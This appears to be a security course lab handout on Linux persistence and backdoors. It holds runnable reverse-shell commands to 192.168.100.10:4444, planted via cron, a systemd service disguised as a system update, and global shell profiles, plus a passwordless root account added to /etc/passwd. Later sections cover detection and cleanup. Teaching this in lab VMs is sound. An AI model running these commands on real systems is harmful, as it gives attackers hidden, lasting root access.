Skip to main content

Lab 9.3: Linux Persistence and Backdoors

Learning Objectives​

By the end of this lab, you will be able to:

  • Implement multiple Linux persistence techniques
  • Create backdoors that survive reboot
  • Modify system files to maintain access
  • Use systemd for persistence
  • Hide processes and files
  • Detect persistence on a Linux system
  • Clean a compromised system

Estimated Duration​

35 minutes

Prerequisites​

  • Linux VM (Ubuntu/Debian)
  • Root access (obtained via Lab 9.1)
  • Labs 9.1 and 9.2 completed
  • Understanding of cron, systemd, bash

Professional Context​

After obtaining root, the attacker wants to:

  • Maintain access even after reboot
  • Survive system updates
  • Remain undetectable as long as possible

Persistence techniques used by:

  • APT groups for long-term access
  • Ransomware for re-infection
  • Botnets for permanent control

Installing backdoors on systems without authorization = Serious crime.

AUTHORIZED: Test VMs only
PROHIBITED: Real systems without permission

Part 1: Malicious Cron Jobs​

User Crontab​

Add hidden task:

(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -

Execution: At every startup!

System Cron (Root)​

File /etc/crontab:

echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab

Execution: Every 10 minutes as root!

Questions:

  1. Did the cron job survive the reboot?
  2. Is it visible to a normal user?

Part 2: systemd Services​

Create Malicious Service​

File /etc/systemd/system/system-update.service:

[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

Enable:

systemctl enable system-update.service
systemctl start system-update.service

Reverse shell runs as a system service!

Verify:

systemctl status system-update

Appears as a legitimate service!

Part 3: System File Modification​

Global Bashrc​

File /etc/bash.bashrc:

echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc

Every opened terminal: Reverse shell!

SSH Profile​

File /etc/profile:

echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile

Modify /etc/passwd​

Create root account without password:

echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd

Login:

su backdoor

No password asked, you are root!

Questions: 3. Did the backdoor in bashrc work? 4. Does the backdoor account without password work?

Part 4: Detection​

Search for Suspicious Cron Jobs​

# User crontabs
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

# System cron
cat /etc/crontab
ls -la /etc/cron.*

Search for Suspicious Services​

systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled

Check Modified Files​

# Recently modified bashrc
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc

# Compare with baseline
dpkg -V bash

Search for Suspicious Accounts​

cat /etc/passwd | grep :0:

If other than root has UID 0: Backdoor!

Questions: 5. How many backdoors did you detect? 6. How to automate detection?

Part 5: Cleaning​

Remove Persistence​

# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab

# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service

# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc

# Account
sed -i '/backdoor/d' /etc/passwd

Deliverables​

  1. Report with 3 tested persistence methods
  2. Proof of reboot survival
  3. Automated detection script
  4. Cleaning procedure

Conclusion​

Mastered techniques:

  • Malicious cron jobs
  • systemd service backdoors
  • System file modification
  • SSH key persistence
  • Detection and cleaning

Combined with Labs 9.1 and 9.2:

  • User → root escalation
  • Reverse shell
  • Permanent persistence

Complete Linux attack chain!

Lab developed for the Operating Systems course - MODULE 9